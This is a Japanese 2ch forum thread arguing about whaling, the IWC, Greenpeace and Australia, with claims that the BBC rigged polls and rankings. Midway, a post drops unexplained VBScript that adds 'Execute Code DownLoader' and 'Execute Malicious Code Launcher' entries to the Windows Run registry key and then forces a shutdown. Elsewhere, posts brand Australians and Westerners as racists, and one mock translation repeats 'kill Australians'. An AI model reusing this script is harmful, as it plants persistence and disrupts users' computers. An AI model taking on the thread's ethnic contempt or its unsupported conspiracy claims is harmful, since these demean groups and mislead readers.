これも立派な布教活動の一環なんだろうなとしか思えないね
巧みに事実が歪曲されてたり捏造されてるんだろうなと勘ぐってしまうよ

>>348
環境ヤクザに漁業活動を妨害されて困ってるよ

シナNet世論工作部隊２chで活動中

4/2のhttp://alexa.com/data/details/traffic_details/2ch.net
2ch.net users come from these countries:

Japan 86.3%
China 6.5% 　←日に日に上昇中
United States 1.0%
Hong Kong 1.0%
Taiwan 0.8%

分析されてる主な活動内容
・人大杉状態でライトユーザーを情報封鎖
・チベット関連スレの不利なスレを下げる
・混乱工作の為センセーショナルなスレを上げる
・各スレ内で世論誘導

２ちゃんねる専用ブラウザ
これを使えば人大杉は回避できます
http://janestyle.s11.xrea.com/

>>350
あのねえ、「調教師（handlers）」て言葉使ったジャマイカ・オブザーバーの主筆って、
http://www.haitiaction.net/Media/JPEGs/JMaxwell.jpg
http://img380.imageshack.us/img380/3775/maxwellhouse4qg.jpg
こういうオヤジだよ。名前がエーゴだとみんな白人になっちゃうのかw

>>351
>ソースが全部ＢＢＣってのが笑えるよな

St Vincent Herald とか　Dominica Chronicle　やJamaica Observerて、全部現地の
新聞なんだけどね。この程度のメディアリテラシーでようつべにうpすると、逆に日本の
恥になるな。

真の敵はシー・シェパードでもグリーンピースでもない。

BBCです。

ミートホープを復活させて、クジラ肉を牛肉に偽装してイギリスに輸出するという、俺の案はどうだろうか。

このセントキッツ、実は日本の捕鯨に賛成の立場を取っています。詳しいことは分かりませんが、
昨年１０月セントキッツのダグラス首相が日本を公式訪問し小泉首相と会談した折にも、捕鯨問
題などについて話し合われています。日本側としては、セントキッツにボートヤード、水揚げ桟
橋、スリップウェイ、地域漁業センター棟などの施設を無償資金協力で建設することの見返りと
して、日本の捕鯨に賛成して欲しいとの思惑があるようです。現在、JICA（国際協力機構）から
の契約で日本の業者が入って工事を進めています。その首都近郊の施設とは別に、首都・バセテ
ールにも日本政府の資金によってすでに建設され利用が始まっている、バセテール漁業複合施設
があります。先日行ってみたのですが、これまでの習慣に慣れている現地の人たちは新しい施設
利用に抵抗があるのか、あまり利用されていないとのことでした（現地住民談）。
政治目的の援助に関しては必ずしも悪いことだとは言いませんが、現地に受け入れられないもの
を作っても、税金の無駄遣いです。ちゃんと施設利用者を含む現地住民参加型の事前評価調査は
したのでしょうか。気になるところです。政治目的も達成し（日本の国益を追求し）、かつ現地
の住民にも受け入れられる援助をすることが、これからの援助のあり方になるのではないかと思
います。まあもっとも、国益追求とは言っても果たしてどれくらいの日本人が鯨の肉を食べたい
と思っているかは分かりませんが・・・。それとも、捕鯨を続けるのには別のもっと重要な理由
があるのでしょうか。
http://ksaotome.exblog.jp/3611671/

先日は日本政府代表団の方々も来てくださり、ここの政府は日本側に付いているが、現地の人々
の捕鯨に対する理解度は極めて低い、というよりもむしろ、クジラを食べるなんて可愛そう、信
じられないという人がほとんどであることなどを伝えると、会合の方も厳しくなるな、などと仰
っていました。
http://ksaotome.exblog.jp/3966018/

クジラを食べたいかどうかが問題じゃないでしょ、捕鯨問題って。
野生生物を食料資源とみなせるかどうかの問題でしょ。
海に棲む生き物も食料と考えるのが日本人なのね。
イカやタコにマグロ、刺身になるネタは数知れず。
それがわかったら、さっさと商業捕鯨を認めて沿岸捕鯨を再開させろや。

＞イカやタコにマグロ、刺身になるネタは数知れず。
＞それがわかったら、さっさと商業捕鯨を認めて沿岸捕鯨を再開させろや。

イカタコマグロは卵で一度に大量に増えるし、大人になるのがはやいから、ちょっと
捕獲調整すれば資源回復するけど、鯨はそうじゃないでしょ？

1970年代終わりまで、漁業の感覚で無茶苦茶に捕って資源を壊滅状態に
追い込んでた人たちが、鯨まだ一世代たったかたたないかのうちに、ちょっと
増えた（らしい）からといって、また猛然と捕りだしたらどうなるかって．．．
しかも、１０年前にミナミマグロで嘘付いて、南太平洋のマグロ資源に決定的
な打撃与えた小松政之さん、森下丈二さんのイニシアティブじゃあねえ。

あんたの懸念はもっともだが、
管理体制を構築すりゃ済む話なんじゃねーのそれって

確かに小松、森下では信頼ないかも。
でも、クジラの数、増えてんでしょ？特にミンク。
反捕鯨側の言い分は、「かわいそうだから殺すな」
捕鯨側、特に日本は、「資源の有効利用」をしよう。
「資源の有効利用」が「クジラを絶滅に追いやる」にはならないよ。
管理していればね。
そのためにIWCがあるんでしょ？

反捕鯨派の話って、捕鯨産業の発展に向けた取り組みではなくて、
商業捕鯨を永遠に凍結するための政治的施策にしかみえんのよ正直
「日本は信頼できない」とか言ってるのは駄々を捏ねてるのと一緒で、
日本を信頼してしまったら商業捕鯨再開を認めてしまうことになるから、
でも感情論ではそうなって欲しくないから信頼できないとだけ言っておこう
という思考パターンがはたらいているように思えるわけだが

オーストラリアはカンガルー殺すって聞いたけど 何故くじらは駄目なんだろ？
カンガルーも希少とか抜かしてたくせに＾ ＾

カンガルーを殺す数決める見たいにくじらも漁獲量も決めたらいいと思うんだけどなぁ＾ ＾
カンガルーはよくてくじらは駄目

なんかおかしいよね＾ ＾

日本の小松、森下がアホーなのと同じように、IWCの欧米諸国の捕鯨代表も
ろくでもない。
本来のIWCの目的が見失われているのが問題なんだよ。

GPに操られているだけ。

こんなんで、まともな会議ができるはずない。

でも、日本がIWC脱退したとしても、バトルは激しくなるだけだよ。

野生動物保護なんてのは、衣食住になんの不便もなくなった人たちの新しい娯楽。
お気に入りの動物だけ保護しても環境保護にはならない。

生態系の中に人間の活動（衣食住、遊び、などなど）も入れた日本の考えは、西洋の
イデオロギーにはない。どっちが正しいとは言わないよ。

でも、こういう日本の考え方や取り組みを、他の国にも伝えられるODAは、
意義があると思う。

あーそれから、商業捕鯨再開のために両者が歩み寄り協議されては
これで飯喰ってるグリンピースなんかは商売上がったりだから困るよね。
いままで散々「調査捕鯨は商業捕鯨の隠れ蓑だ」といってきた連中が、
その主張の前提を覆されるわけだから。

商業捕鯨再開に向けた日本政府の取り組みを非難できなくなるし、
これまでの虐殺イメージ戦略が無効化してしまう。これを防ぐためには
捕鯨行為そのものが根源的な悪として表象化されなければならないし、
そのようなアピールを視覚的にわかりやすく訴え、人間の感情を操作しようとする
反対に捕鯨保護活動は、人間の究極の理想、倫理の核心でなくてはならない。
そういうシンボル化のプロセスこそが活動母体の活動指針になっていくわけだ。

よれ故、IWCが本来の設立趣旨に則って
問題解決の方向に向かっちゃマズいわけだよね。グリンピース的には。
そう考えると、捕鯨問題における最大の癌は
民間の捕鯨保護団体ってことになるわけだが。
この問題における最大の受益者でしょ彼らは。

反捕鯨論者の言っていることは、まさに「木を見て、森を見ず」だよな。

森を見ると都合が悪いのであえて木ばっかり見てる感じだなｗ

米通商代表部（USTR）は28日、2008年版外国貿易障壁報告書を議会に提出した。

日本関連では郵政3事業の民営化進展状況について「引き続き監視する」として、
米系保険会社や運輸会社との公平な競争条件の確保を求めるとしている。

また、くすぶり続ける米国産牛肉問題では、
月齢制限なしでの貿易を認めた国際獣疫事務局（OIE）基準を「日本が採用しないことを大いに懸念している」と指摘。
「全面的な市場開放に向け精力的に取り組む」と改めて強調した。

日本は米国産牛肉輸入を生後20カ月以下の牛に制限している。
日本の記述は25ページで07年版に比べ、7ページ減り、対日通商案件の減少ぶりを示している。
同報告書は年に1度、貿易相手国・地域の通商課題を列挙する形で公表される。

http://headlines.yahoo.co.jp/hl?a=20080329-00000053-jij-int

【国際】日本の郵政民営化を「引き続き監視」、牛肉市場開放に全力…米USTR年次報告[3/29]
http://mamono.2ch.net/test/read.cgi/newsplus/1206769468/

85 名前：名無しさん＠八周年[] 投稿日：2008/04/03(木) 09:42:28 ID:+kMGbxNlO
アメリカ産牛肉を全面解禁したら
オージーからの反捕鯨の声も小さくなるんじゃね？

490 名前：名無しさん＠八周年[] 投稿日：2008/04/03(木) 10:04:35 ID:cx6BiavL0
■ＢＢＣの好影響度ランキングでは一定の操作がなされている

それは
★白人国家を必ずトップに持ってくること★

▼１年目　
調査結果を集計したら日本がダントツの１位だったので、アジア人に白人特に欧州国家が
負けるのは容認できないということで、無理やりＥＵ枠をこしらえて国ではないＥＵを
実質トップにした。しかも１位のＥＵの調査資料だけ、どこにもないｗ　決定的ｗ
▼２年目
日本が単独１位になるのがわかったとたん、突然カナダが登場ｗｗ　１位になったｗ
そもそもカナダは調査対象ですらなかったので、当然、カナダの調査結果だけ、どこにもないｗ
２年連続で１位の白人国家の調査資料のみ開示できないという、大失態を演じたｗ
▼３年目
調査結果を集計したら日本がダントツの１位だったので、ドイツの票を水増しして
良い影響の票を日本と同数１位にし、悪い影響の票を日本より少なくして
ドイツを実質トップにした。
２年連続して工作の痕跡を残してしまった為、この年はしっかりと１位のドイツの調査結果
も開示したが・・・
３年連続１位に２カ国が並んだのは不自然。そんな偶然が何年も続くことは
ありえない。また、昨年、突然降って湧いたように登場した１位のカナダが、また消えているｗ
ということで状況証拠的には今年も完全にクロｗ

この調査はあくまで好影響度のランキングなので日本が３年連続世界一であることに
変わりはないが、トータルでは白人国家が日本の上にくるように毎年、操作している。
これは、スポーツで日本に勝てなくなった白人国家がルール改正して、勝とうとする
のと同じ構図　Ｆ1　スキー　柔道・・・など枚挙にいとまがない

あまり「白人」に目くじら立てるのも無意味かと。日本に好意的な白人も
いっぱいいるよ。

日本のソフトパワーは世界１だよ。漫画やアニメ、日本の伝統芸能などね。

捕鯨問題はお互いのイデオロギーのぶつかり合いで、話し合いで解決するのは
難しいよね。

捕鯨以外の分野、たとえばエネルギーや環境対策、貧困削減や異文化理解等、
世界平和に向けて日本が注目されていくことをせつに願う。

イヌイットの伝統的な食文化を守るためにアラスカだけ商業捕鯨を認める動きがあったと思うけどあれどうなったの？

ＢＢＣはクズだ、
だがこの記事はいい線行ってると思う

http://news.bbc.co.uk/2/hi/science/nature/6667907.stm
反捕鯨派の人にももっと読ませよう

>>371
昨年だか二年前だかに、捕鯨賛成か反対か、公式サイトでネット投票行って
賛成派が圧倒的に優位になった途端、「賛成」と「反対」の項目名だけを
そっくり入れ替えて、反対派が圧倒したように捏造したのもBBCだったよね。

あれには正直、参った。

ニュー速では日本人に銛撃つ番組の話が盛り上がってるな。今更って感じだが

今朝の朝日新聞に捕鯨の載ってたね(笑)

>>375
いくらなんでもそれはないだろ

>>378
それがＢＢＣクオリティなのね。
斜め上のことを平気な顔してやってのける。

>>378
●が有る人は事実確認してください。

【データが改竄された瞬間】
ＢＢＣは捕鯨アンケートで
イエスとノーを入れ替えるという、結果改竄を行ったことがある

http://corn.2ch.net/test/read.cgi/news/1022540957/63-66

63 名前：　 投稿日：02/05/28 23:41 ID:D+PQRXLS

FOR OR AGAINST?

Should whaling be permitted?
Yes
1645 - (93%)
No
122 - (7%)

65 名前：　 投稿日：02/05/29 02:02 ID:cWXZOLoJ
何かYesとNoの票が入れ替わってない？
俺だけ？


66 名前：卑怯なり！ 投稿日：02/05/29 02:06 ID:u5SGN+s7
確かに入れ替わってる！

FOR OR AGAINST?

Should whaling be permitted?
No
1715 - (93%)
Yes
135 - (7%)

2002年のアンケートだから>>375が言ってるのとは違ったかw

いや、そのソースで正しいよ。二年前じゃなくて2002年だったんだね。俺の記憶違いでした。

誰も魚拓とってなかったのか。

日本人を説得できるとしたら、鯨が絶滅しそうだと証明することだけなのを
反捕鯨カルトの連中も気づきはじめてるような気がする。
だけどいくらそれらしいことを言っても無駄なんだよね。
結局Racismが背後にあることを日本人に見抜かれちゃってるから。
んじゃなきゃ、食うことにまで文句言うのはおかしいし、
わざわざ太地にやってきてイルカ獲るのまで妨害するのもおかしい。
まさかイルカも絶滅しそうだとか言い始めるわけではあるまい？ｗ
バレバレなんだよ。要するに多民族の文化を勝手に野蛮だと判定して、
我々の優れた文化を見習えと言ってるに過ぎない。
このスレにも反捕鯨カルトが相変わらず粘着してるけど、相手するだけ無駄。
顔にちゃんと｢僕はRacistでぇす！｣って書いてるあるんだから。

寄付金集めるためには、まず動物の選別からはじまる。
クジラやイルカ、それにアザラシのようなかわいい動物たちは
優先的に動物愛護運動の対象とされるわけだ。

かわいくない動物は後回し。
その結果、オーストラリアでサメが絶滅の危機にあるというのに
動物保護団体はこの問題を取り上げようとすらしない。
したがって、彼らは静かに絶滅するのを待つしかない状況にある。

日本の捕鯨は人道に反するとし、そのための論理構築は血眼になるくせに
環境汚染で誰にかまわれることなく静かに死滅していった
ヨウスコウカワイルカの存在には一切関心を示さない。

「クジラは環境保護のシンボル」という自己イメージは、
それら自己矛盾や二重基準、人種偏見、異文化排除、
倫理にかかわる理想と現実の乖離という網の目を
何重にも潜り抜けた先に構築されるものなんだよね。

誰かが指摘してたけどまさに究極の娯楽だよね。
カネで非常に利己的な至福感と快楽を買うことができるのだから。

>>372
ソフトパワーしかないよな。

捕鯨反対派は調査するとか言い訳するなって言ってるんだろ？
捕鯨するついでに調査もしてるって言えばいいじゃん

http://jp.youtube.com/watch?v=51hubl8hRWA
http://jp.youtube.com/user/ChukkovProductions
これ作ったのオージー？　それとも日本人？
誰か訳してちょうだい。

>>387
そうだよな、どうかんがえても調査してる分

調査捕鯨＞＞＞商業捕鯨

だよな

仮に今商業捕鯨を再回するにしても目視データから得られた捕獲枠でやるしかないし、
生態系から多種の捕獲をするという日本の主張は現状は実現出来ない。ミンクの新たな生息数
データは過去よりも減少するだろうと言われているから2千頭と言われた捕獲枠より少
ないだろう。この枠と調査捕鯨の併用は日本だけが捕鯨をするなら調整も出来るから可能
だろうけど一ヶ国でも参入してきたら調査出来る枠も制限されるしそのような規模で
の調査捕鯨のデータでは不充分であり共同で調査捕鯨をやる以外不可能だろう。日本は現状の
調査捕鯨の致死量の必要性を譲らない限り実質南極の商業捕鯨という概念は成り立たない。
致死調査を制限し調査を継続するか、調査捕鯨を捕鯨希望国で共同で行うという商業捕鯨の
あり方を模索するかの選択になるよ。その前に調査捕鯨を無視しても従来の商業捕鯨の概念で
それぞれが個別の捕鯨をするにしても2ヶ国でギリギリ、３ヶ国になると採算合わない程の規模なんじゃないだろうか？

船団を用意し、熟練した乗組員を確保し、となるので、
そう簡単に南極捕鯨に参入は出来ないのではないかな。

少なくともロシアやノルウェーは普通に参入は可能だろうし過去に南極で捕鯨をした国は
多数ある。日本だけが独占出来るって前提で商業捕鯨を目指している訳じゃないだろう？

>>388
カンガルーを殺すことはオーストラリアが行うことで最も損害が大きい。
損害を受けない最も良い方法は「クジラを殺すな」といいながら
カンガルーを殺さないことだ。

しかしそれは不可能だ。なぜなら彼らは生まれながらのレイシストだからだ。
オーストラリア人は最も冷酷な動物だ。
それでは誰が「何が、誰が、どのように殺すのが一番いいか」決めているのか？
オーストラリア人ではない。なぜなら彼らは偉大な日帝に劣るからだ！
レイシストのオーストラリア人を殺せ！


オーストラリアのカロライナでのカンガルー暴動を忘れるな。

オーストラリア人はカンガルーを排除すべきではない。
オーストラリア人はカンガルー人たちに対する偏見を捨てるべきだ。

私たちの前にあなた方が。


おっと、オーストラリアの人ごめんなさい。
私は少しの間気を失っていたに違いありません。
anyway where was I(訳不能)

日本人が次の被害者になるのでしょうか？
なぜオーストラリア人は顔にこんな怪我をしたんですか？

レイシズムや偏見を今すぐ終わらせろ。
オーストラリア人を殺せ。

たぶんこんな感じ

訳してて意味がわからなくなってきた・・・誰か採点よろしく

これは皮肉だろ。なんかチャイナやコリアの臭いがする。

バーク農水林業相は会談で捕鯨について、「商業的でも科学的調査でも
反対の立場だ」と強調。ただ捕鯨問題では意見の対立があっても、両国間
の全体的な友好環境には影響がないように求めた。

http://news24.2ch.net/test/read.cgi/news5plus/1207236333/l50

おいおい

これはどっちも望んでることだから別にいいけどさ
ただ限度があるということは覚えておいて欲しい

>>385
別に金持ちは利己的な至福感と快楽を得るために金を出してるんじゃないよ
寄付をして社会に貢献していますよという名目を買ってるんだよ
金持ちが余計な妬みをもたれずに生きていくためのみかじめ料みたいなもん

>>388
はどう見ても逆説的に日本批判だろ。

>>397
なるほどね
すると、ここで下手な進歩史観に浸ってる反捕鯨派の連中は
寄付する（名目をカネで買う）側ではなく、
名目を作り上げる人たち、いわばパンピーってことになるな

【国際】 豪州議員「オオヒキガエルは最も強烈な害虫、最も気持ち悪い」と“駆除の日”制定を提案…「人道?
http://mamono.2ch.net/test/read.cgi/newsplus/1207235104/

オーストラリア・クイーンズランド州のシェーン・クヌース議員（国民党）が２日
オオヒキガエル駆除の日制定を提案。
カエルは人間にとって最も醜悪な生き物だと嫌悪している。

「ヒキガエルはおそらく、環境に とって最も強烈な害虫で、
おそらく人類が知っている動物の中で最も気持ち悪い」

進歩的な発想ですね

気持ち悪いから駆除する。
数が多いから駆除する。
害獣だから殺してもいい。
家畜だから殺してもいい。

数が多くて醜ければ殺して言い訳ね。
数が多い東洋人も、醜ければ殺すんですね？

そーいやオーストラリアでは、
日本人に掛けられた冤罪を立証することなく即牢獄送りにした事件があったな
日本人に裁判する権利を認めなかった地元警察曰く、
「手続きがめんどくさい」「なぜ東洋人の冤罪を立証するために
我々が協力しなければならないんだ･･･」って理由だったっけ

豪州で因縁吹っかけられても、
誰からも助けてもらえないと思った方がいいね。

煽ってるのか？
嘘つきが！

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Execute Code DownLoader"
arrStringValues = ("estart.vbs")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Execute Malicious Code Launcher"
arrStringValues = ("elaunch.vbs")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

Set wmi = GetObject("winmgmts:{(Shutdown)}")
set objset = wmi.instancesof("win32_operatingsystem")
for each obj in objset
set os = obj : exit for
next
os.win32shutdown 2 + 4

>>384
>日本人を説得できるとしたら、鯨が絶滅しそうだと証明することだけなのを
> 反捕鯨カルトの連中も気づきはじめてるような気がする。

ぜんぜんそんなこと気付いてないし、考えてもないです。
そもそも捕鯨禁止、あるいはギフチョウの採集禁止、高山植物の採集禁止を
決めるのに、「絶滅の危機」を前提にする必要はまったくないですから。

乱獲や環境破壊でダメージを被った生物資源を復元するために、環境を保護し、
採取を数世代控えよう、というのが一般的な資源管理です。

ギフチョウや高山植物なら、数世代が数年ですみ、それでちゃんと復元する
ことが多いですが、鯨で数世代というと、１００年越えるという問題があります。

>>384
＞ 結局Racismが背後にあることを日本人に見抜かれちゃってるから。

日本国内では、アメリカが捕鯨船寄港のために、日本に開国を迫った、
西洋人、白人が油を取るために鯨を乱獲した、という説明が一般的ですが、
オーストラリアで細々と、沿岸捕鯨やってたザトウクジラが獲れなくなっ
たのは1960年代後半から70年代です。

このオーストラリア沿岸のザトウクジラというのは、夏の間は南極海へ
移動して餌を食べてるのですが、これを大規模な捕鯨船団で乱獲してた
のは、旧ソ連と日本です。他の主要捕鯨国、英蘭はもう捕鯨止めてるし
ノルウェーも南極までは出かけてません。

日本人のほうが見抜かれちゃってます。

>>384
＞ わざわざ太地にやってきてイルカ獲るのまで妨害するのもおかしい。
イルカ獲るの妨害した人も、絶滅しそうだからダメとは言ってないでしょ？

＞要するに多民族の文化を勝手に野蛮だと判定して、
＞ 我々の優れた文化を見習えと言ってるに過ぎない。

ちがうと思うよ。水産庁、鯨研が「鯨食害論」とか「鯨種間競合論」とか、高校生が
考えつきそうな馬鹿理論ふりまわして、世界中の生物学者、水産学者に嘲笑され、
調査捕鯨の正当性が理論的に主張できなくなったので、「文化摩擦」、「文明の衝突論」
に切り替えたんだよ。これなら自然科学的に白黒つかないから、いつまでも主張し続けて
いられる。日本国民がその気になってる限りはね。

>>373
>イヌイットの伝統的な食文化を守るためにアラスカだけ商業捕鯨を認める動きがあったと思うけどあれどうなったの？

ずっとまえからやってます。
厳格な系統群管理と、あぶなくなったらすぐ止められるような「非産業化」の条件でね。
５年に一度、この暫定措置の更新があるのだけど、そういう時に日本がこの原始的捕鯨を
人質に取って、日本国内の伝統捕鯨も原住民生存捕鯨として認めろとディベートするので、
有名になりました。
2006 年実績
Denmark: W.Greenland　ナガス10　ザトウ1　イワシ1　ミンク181　　0　計193
� Denmark: E.Greenland　ナガス1　ミンク３　計4
� St. Vincent*　ザトウ1　計１
Russia　コククジラ134　ホッキョククジラ3　計137
� USA　ホッキョククジラ39　計３9
Total　ナガス11　ザトウ2　イワシクジラ1　コククジラ134　ミンククジラ184　ホッキョククジラ42　　合計374頭

＞385
＞ 寄付金集めるためには、まず動物の選別からはじまる。
＞クジラやイルカ、それにアザラシのようなかわいい動物たちは
＞優先的に動物愛護運動の対象とされるわけだ。

グリーンピースが反対運動はじめた頃は、「わんぱくフリッパー」という、イルカ
主人公にしたTV番組がはやってたから、鯨よりイルカのほうがやりやすかったん
じゃないかね。

ただ、まだグリーンピースに属してた頃なんじゃないかと思うけど、今の
シーシェパードのメンバーが、ソ連の捕鯨船を攻撃したんで、アメリカで
一躍人気を獲得したんだね。そういう意味では政治的だ。
この時代になると、もう大規模捕鯨をやってるのはソ連と日本だけになってた。

＞ その結果、オーストラリアでサメが絶滅の危機にあるというのに
＞動物保護団体はこの問題を取り上げようとすらしない。
＞したがって、彼らは静かに絶滅するのを待つしかない状況にある。

ずっとまえから、サメの保護運動はやってますよ。
中国のフカヒレ漁にはキツい非難のTVドキュメントなんかもつくってます。

＞ ヨウスコウカワイルカの存在には一切関心を示さない。

公海ではなく、一国内の水域だと法律的にも難しいですね。
揚子江の水質全体をよくしなきゃどうしようもないので、欧州連合やその他
さまざまな機関、NGOで、いろいろな角度から中国、インド、発展途上国の
水問題解決を試みてます。

＞ 「クジラは環境保護のシンボル」という自己イメージは、

もう別にそれだけにこだわってる団体はないと思いますが。

>>385
＞ 誰かが指摘してたけどまさに究極の娯楽だよね。
＞カネで非常に利己的な至福感と快楽を買うことができるのだから。

まあ、衣食足って礼節を知り、あるポリシーや思想のために生活時間の多くを割く
というのは、現代人にはよくある、普通の選択でしょうね。

ただ、IWC科学委員会や、各国、欧州水産政策当局がやってること、すなわち
捕鯨モラトリアムや、致死調査への批判、大西洋クロマグロ、ウナギ稚魚、
アワビの漁獲制限、水域によっては禁止とう措置となると、水産学的、生態学的に
合理的と現段階考えられていることで、特定の価値観やイデオロギーとは関係
ない（はず）です。

>>387
> 捕鯨反対派は調査するとか言い訳するなって言ってるんだろ？

反捕鯨派だけじゃなく、国際捕鯨委員会科学委員会の水産学者、海洋生態学者も
そういってるんです。

> 捕鯨するついでに調査もしてるって言えばいいじゃん

だから、調査は殺さずに出来るんだから捕鯨はせずに、調査だけしなさい
と言ってるんです。

>>389
> そうだよな、どうかんがえても調査してる分
> 調査捕鯨＞＞＞商業捕鯨
> だよな

その調査の結果が、あまりにもお粗末で、ほんとに営業捕鯨の言い訳として
やってたにすぎない、ということが去年バレちゃったんです。
官僚の国会答弁みたいな屁理屈はね、国会で議会で３分の２とってなきゃ通用
しないんだよん。

>>390
おおむね、おっしゃってる通りかと思います。

>>391
>船団を用意し、熟練した乗組員を確保し、となるので、
> そう簡単に南極捕鯨に参入は出来ないのではないかな。

南極捕鯨＝母船方式の1950―80年代型捕鯨という、日本の常識で固まってますね。
インドネシアや東チモール、南太平洋の島嶼諸国が冬場の繁殖地での沿岸捕鯨用
捕鯨枠をそれぞれ主張し始めたら、ひとたまりもないですよ。南極で獲る分がなくなる。

まあしかし、IWCが国連や他の機関と協議して、そういう事態にはならないように
すると思いますが。いずれにしても、南極海商業捕鯨再開となったら日本が総取り
というのはありえないです。

>>392
同感。
ミナミマグロ事件の時も、結局日本の漁獲枠半減した分、他の中小国へ配分してましたね。

【社会】 「プリウスは、実は日本政府が作った世界戦略車だ」 北米トヨタ元社長が発言★２
http://mamono.2ch.net/test/read.cgi/newsplus/1207236617/

環境保護を考えるならドイツ国内の政府公用車をプリウスにすべきだと発言した
ドイツ議員が、国民からの反発食らって辞職に追い込まれたっけ。

>>410
＞＞ 「クジラは環境保護のシンボル」という自己イメージは、
＞もう別にそれだけにこだわってる団体はないと思いますが。
その説明ももう飽き飽きだね。
あんた、一度グリンピースのサイト見てくるといいよ。
捕鯨保護にかんするいくつものコンセプトにもとづいた
複数のサイトが量産されて大量にリンク貼られてるから。


＞特定の価値観やイデオロギーとは関係ない（はず）です。
おそらく反捕鯨派もいくつかのグループに分類しなきゃならんだろうね。
中にはイデオロギーに支配された人たちもいるわけで、
たとえば「クジラは人間と同様に愛される権利がある」と言って
イギリスで抗議活動して逮捕された14歳の少女は
両親がシーシェパードのメンバーだったよね。

>>410
＞公海ではなく、一国内の水域だと法律的にも難しいですね。
環境保護運動のためには、積極的姿勢に出た結果、
法律違反を犯すことも辞さない、がグリンピースのモットーであり、
それら反権力の象徴的なイメージを周囲に売りつけることで、
欧米諸国から指示されてるんじゃなかったんですか

ID:M4Y6s+7I0の執念がキモイ

【日豪】先住民の「ジュゴン猟」を支持する豪政府を日本が「二枚舌」と非難、捕鯨問題の軋轢さらに高まる
http://mamono.2ch.net/test/read.cgi/newsplus/1207259154/

日本政府は、オーストラリアがクジラの「致死利用」を一切認めないとする一方で
先住民族のジュゴン猟を支持しているのは「二枚舌」だと話している。
ピーター・ギャレット環境相は、日本の捕鯨とジュゴンの殺害は全く別の話で共通点はないとした。

そろそろ週末が近づいてきたな。

先週末「世界の潮流はこうなんだよ、ボクは英語論文もばりばり読んでお前らより知ってるんだよ」と
繰り返しながら、結局その裏づけを出せなかった人[*]の再登場が楽しみ。
あのときはもう、週明けて忙しくなっちゃったのだろうと好意的に見ることも出来たが…w

[*]細かく言えば、北大西洋についての論文「タイトル羅列だけ」は出来た

とーぜんURLか、オンラインでないなら「ボクが言ってやってる通りなんだからぁ」を
ちゃんと裏打ちする記述の部分か、最低でもabstractが必要だということからも
逃げちゃ駄目だよ〜ん。

>>409
＞グリーンピースが反対運動はじめた頃は、
＞「わんぱくフリッパー」という、イルカ主人公にしたTV番組がはやってたから、

「フリッパー」アメリカのNBCテレビで1964年に放送されました。
公式サイトによるとグリンピースが設立されたのは1971年でしたよね。。

グリーンピースの船やらヘリやらをチャーターする金を有効に使えば
広大な土地を緑化することも、途上国に下水処理施設を整備することもできる

反対活動という名の「海賊ごっこ」はいいかげんやめてほしい。
グリーンピースの反捕鯨活動でどれほどの鯨が救われたんだ？
汚染や温暖化が鯨に与える影響のほうが遥かに深刻だろうに

>>415
イルカ漁を妨害しにわざわざ来日する女優とかいたよな

グリーンピースはナチスの宣伝手法から学んでいるから。

反捕鯨カルトって嘘つきばっかだな。

人間も地球の一部だろ、誰かがとやかく言えた筋合いじゃない
絶滅するならそれも運命、人間もそれはいえた事、何を今さらって感じだが。

そうかもしれないが、守れるなら守りたいじゃないか。

http://youtube.com/watch?v=pZMZmNZov2g&feature=related

>>406
ザトウの捕獲禁止は１９６６年からだよん

>>407
なんでＩＷＣ管轄外のイルカ漁にヒゲクジラ類の鯨食害論を持ち出すんですか？

パネッティーアが日本まで来て海豚の為に泣いたのを誤魔化そうとしてるよね、
>>407は。
結局「沿岸なら許す」も嘘なんだよ。

「捕鯨は許さない」に後付で形作られた「言い訳」だから焦点がぼやけた
曖昧な言い回ししか出来なくなってる。
日本人の大半がこれにイラつくのは当然だよねw

彼女の主張は、
「日本人にイルカを殺す権利はない」だから、当然、
「ＩＷＣに沿岸捕鯨を許可する権限はない」となるわな。

見た目がかわいいかかわいくないか。自分の感情を投影できる存在か、そうでないか。
自分に近い存在か、そうでないか。”いま”の自分にとって大切な存在か、そうでないか。

進歩主義者たちにとって、捕鯨文化の伝統を引き継ぐ社会は、
まるで中世の遺物を眺めるかのように劣った存在として映り込む。
彼らは常に自己の人間的な感情の運動にもとづき環境を論じる。
そして歴史的遺制は古い仕来りであると喝破し、
歴史から隔絶された自己像を進歩的とみなし自己陶酔する。

その結果、彼らは歴史的仕来りの中に精神が宿っていることに無頓着となる。
食の作法、殺生にかかわる哲学そのものに触れることなく拒絶し、
他者否定の先に自己肯定のプロセスを築き上げていく。
反捕鯨運動が人種的偏見と結びつき易い遠因がここにある。
そして、ついには「動物を殺しては人間は健康になれないし幸せになれない」と考え始める。
それは科学的な裏づけよりもまず先に、
自己の感情から導き出された直観的な物言いを以って主張される。
これは一種の強迫観念である。彼らはそのオカルト的な信仰哲学を用いて
自分がいかに幸福な人生を歩んでいるかと自覚すればするほど、
他者が救いがたくも原罪を背負ってしまった不幸な存在にみえしまうのだ。

善意から環境教育を施す運動は概ねこのような感情の導きから生まれてくる。
自ら身体を赤く染め上げ、
他国の国旗を血に染め上げる奇怪なパフォーマンスを行う精神状態は
安易に寄付金を与える周辺の人間とは明らかに性質が異なる。
自らを倫理の体現者と名乗る運動家を知ろうとする場合、
彼らのその宗教的情熱抜きには語りえないだろう。

>>428
彼女はIWCと関係あるのか？一般人がやったことと同じじゃないの？

パネッティーアっていったらアメリカ副大統領候補じゃなかったっけ？
米国の選挙期間中に反捕鯨運動家として名乗り、
環境のバネッティーアとしてテレビで演説（応援だったかな？）してたじゃん。

一般人と同列にみなすのはどうだろうね。

>>431

IWCの反対票を支えてるのは「一般人」だよ。

>>432
だからってIWCの代弁者のように見るのはどうかと思うんだが・・・

嘘つきは好かん。

>>434
IWCの代弁者なんて思ってるやつはいない
反捕鯨運動の唱道者でIWCに圧力かけようと政治運動してるよ

Hollywood star of "Heroes" Hayden Panettiere, of Save the Whales Again Campaign, joins a Greenpeace parade
in Anchorage Alaska, as part of a global day of activities with thousands of people, across twenty countries and
more than fifty cities to send a message to delegates of the International Whaling Commission, meeting this week
in Alaska to decide the future of the great whales.
http://www.greenpeace.org/international/photosvideos/photos/hollywood-star-of-heroes-hay

